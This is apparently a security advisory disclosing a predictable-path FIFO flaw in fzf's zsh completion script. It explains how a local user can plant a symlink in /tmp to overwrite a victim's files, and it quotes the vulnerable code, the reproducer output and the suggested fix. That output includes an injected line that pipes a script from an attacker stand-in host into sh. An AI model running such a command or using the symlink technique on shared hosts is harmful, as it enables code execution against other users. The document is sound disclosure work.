shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.
Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/
shell/completion.zsh (tag 0.74.4, commit a140afeb):
fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$" — predictable name; shell PIDs are low/guessable and a wide range can be pre-created._fzf_feed_fifo() {
command rm -f "$1" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
mkfifo "$1" # fails (EEXIST) — exit status unchecked
cat <&0 > "$1" &| # follows the attacker symlink / blocks on the attacker FIFO
}
Attack modes (no race required):
> "$1" follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.cat block until the attacker reads the stream (full ps output, host lists, variable names).Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):
rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists
=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data
The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).
Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias **<TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.
Reported privately to the maintainer by email; fix prepared for the next release.
On a default modern host the file-overwrite variant is blocked by fs.protected_symlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.
{
"cwe_ids": [
"CWE-377",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T22:43:12Z",
"nvd_published_at": "2026-11-17T20:17:36Z",
"severity": "MODERATE"
}